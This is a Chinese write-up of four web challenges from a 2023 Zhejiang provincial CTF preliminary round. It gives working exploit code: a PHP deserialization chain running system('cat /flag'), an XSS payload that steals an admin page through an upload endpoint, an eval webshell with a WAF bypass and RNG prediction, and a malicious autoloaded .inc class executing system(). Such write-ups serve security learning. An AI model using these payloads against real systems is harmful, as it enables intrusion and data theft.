2023浙江省省赛-初赛
决赛见
1.easy-php 签到题,很清楚的链子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php class AAA { public $cmd ; public function __call ($name , $arguments ) { eval ($this ->cmd); return "done" ; } } class BBB { public $param1 ; public function __construct ($param1 ) { $this ->param1 = $param1 ; } public function __debuginfo ( ) { return [ 'debugInfo' => 'param1' . $this ->param1 ]; } } class CCC { public $func ; public function __toString ( ) { var_dump ("aaa" ); $this ->func->aaa (); } } if (isset ($_GET ['aaa' ])){ $aaa = $_GET ['aaa' ]; var_dump (unserialize ($aaa ));
1 __debuginfo=》__toString=》__call=》eval
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php highlight_file (__FILE__ );class AAA { public $cmd ; } class BBB { public $param1 ; } class CCC { public $func ; } $a =new CCC ();$a ->func=new AAA ();$a ->func->cmd="system('cat /flag');" ;$b =new BBB ();$b ->param1=$a ;echo (serialize ($b ));?>
2.my2to 上来给了源码
看关键的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 const puppeteer = require ("puppeteer" );const SITE = process.env .SITE || 'http://localhost' ;const ADMIN_PASSWORD = process.env .ADMIN_PASSWORD || 'YOU DONT NO IT' ;const visit = async url => { var browser; try { browser = await puppeteer.launch ({ headless : true , executablePath : "/usr/bin/chromium" , args : ['--no-sandbox' ] }); page = await browser.newPage (); await page.goto (SITE ); await page.waitForTimeout (500 ); await page.type ('#username' , 'admin' ); await page.type ('#password' , ADMIN_PASSWORD ); await page.click ('#btn' ) await page.waitForTimeout (800 ); await page.goto (url); await page.waitForTimeout (3000 ); await browser.close (); } catch (e) { console .log (e); } finally { if (browser) await browser.close (); } } module .exports = visit
这里告诉我们flag在admin的页面
题目是要xss注入,外带出admin的页面
但是比赛的时候不出网,只能用其他方法
可以看到这里有一个文件上传的内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 app.post ("/api/report" , express.json ({ type : Object }), function (req, res ) { if (!req.session .username ) return res.send ("Login first!" ); if (reportIpsList.has (req.ip ) && reportIpsList.get (req.ip )+90 > now ()){ return res.send (`Please comeback ${reportIpsList.get(req.ip)+90 -now()} s later!` ); } reportIpsList.set (req.ip ,now ()); const { url } = req.body ; if (typeof url !== 'string' ) return res.send ("Invalid URL" ); if (!url || !RegExp ('^http://127\.0\.0\.1.*$' ).test (url)) { return res.status (400 ).send ('Invalid URL' ); } try { vist (url); return res.send ("admin has visted your url" ); } catch { return res.send ("some error!" ); } });
这里告诉可以利用文件上传的接口去上传admin
偷一个exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <script > if (document .domain != "localhost" ) { location = "http://localhost/uploads/attack.html" ; }else { fetch ("/todo" , {method : "GET" , credentials : "include" }) .then (res => res.text ()) .then (data => { var blob = new Blob ([data], { type : 'text/plain' }); var formData = new FormData (); formData.append ('file' , blob, 'result.txt' ); fetch ('/api/upload' , { method : 'POST' , body : formData, });}); } </script >
这里可以外带到upload上面,可以读取flag
3.Can you read flag 上来提供了一个//eval($_GET[a])
直接system(“ls /“)起手,发现了存在waf
测试了以下,用passthru(“ls /“),成功rce,读一下flag,没有权限,
?a=eval($_POST[1]);这里就直接用1作为密码链接蚁剑,连上
看到有一个/readflag,下载下来,拖入ida分析
这里可以看到使用了time0作为种子去生成随机数,可以预测
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwnlib.tubes.process import processimport reio = process("/readflag" ) io.sendlineafter('(y/n)' , b'y' ) io.recvuntil(b'calcs:\n' ) for i in range (200 ): try : data = io.recvline().decode() if '?' in data: data = re.sub(r'=' , '.' , data) data = re.sub(r'\?' , ')' , data) ans = eval (data) io.sendline(str (ans).encode()) else : print (data) break except : print (data) break io.interactive()
编译,上传到tmp目录下,执行就好了
看到杭电的wp是这样的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 int main () { unsigned int v3 = time(0 )+10 ; unsigned int v9; unsigned int v10; srand(v3); int v11 = rand() % 101 + 100 ; printf ("y\n" ); for (int i = 0 ; i < v11; ++i){ v10 = rand() % 1000000 ; v9 = rand() % 9000000 ; printf ("%d\n" , v10+v9); } }
生成10秒之后的随机数,然后重定向到readflag内
就可以得到flag
去年决赛考过一道类似的,这里就不说了
4.baby php 题目提供了一个文件上传接口
提示只有管理员才可以使用
抓包,修改cookie的admin变成1然后发包
直接fuzz,发现常规的手段都被过滤掉了,没有办法
.user.ini,ph,.htaccess后缀都杯过滤了,没有啥想法
扫一下目录,看到phpinfo.php
开启了spl_autoload
spl_autoload
php中spl_autoload详解_php技巧_脚本之家 (jb51.net)
假设我们有这样一个页面
1 2 3 4 5 6 7 8 9 <?php spl_autoload_register (function($class ) { $classFile = __DIR__ . '/' . $class . '.inc' ; if (file_exists ($classFile )) { require $classFile ; } });
在这里spl_autoload_register这个函数会将目录下面的所有php或者inc文件里面的类注册成一个可执行的类
我们只需要上传一个inc文件,然后反序列化调用这个类就好了
由于没有环境,以下都是我根据比赛时候的感觉写的(见谅)
反序列化的点在cookie,这里最开始的cookie是这样的
1 2 Tzo0OiJ1c2VyIjoyOntzOjQ6Im5hbWUiO047czo4OiJpc19hZG1pbiI7Tjt9 base64解码//O:4:"user":2:{s:4:"name";N;s:8:"is_admin";N;}
后台对cookie的处理是这样的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class user { public $name ; public $is_admin ; public function __construct ( ) { $name ="guess" ; $is_admin =false ; } public function __destruct ( ) { if ($this ->name=="admin" & $this ->is_admin==true ) { echo "win" ; }else { echo "false" ; } } }?>
这样就能完成一次简单的鉴权
如果我们上传了一个恶意的inc,然后加载那个类,通过对cookie的修改,就可以完成rce
bad.inc
1 2 3 4 5 6 7 8 <?php class bad { public $a ; public function __destruct ( ) { system ($this ->a); } } ?>
实例文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php error_log (0 );highlight_file (__FILE__ );spl_autoload_register (function($class ) { $classFile = __DIR__ . '/' . $class . '.inc' ; if (file_exists ($classFile )) { require $classFile ; } }); class user { public $name ; public $is_admin ; public function __construct ( ) { $name ="guess" ; $is_admin =false ; } public function __destruct ( ) { if ($this ->name=="admin" & $this ->is_admin==true ) { echo "win" ; }else { echo "false" ; } } } $a =$_POST ['a' ];unserialize ($a ); ?>
成功rce
5.sedobj java学的不好,不会,会了来复现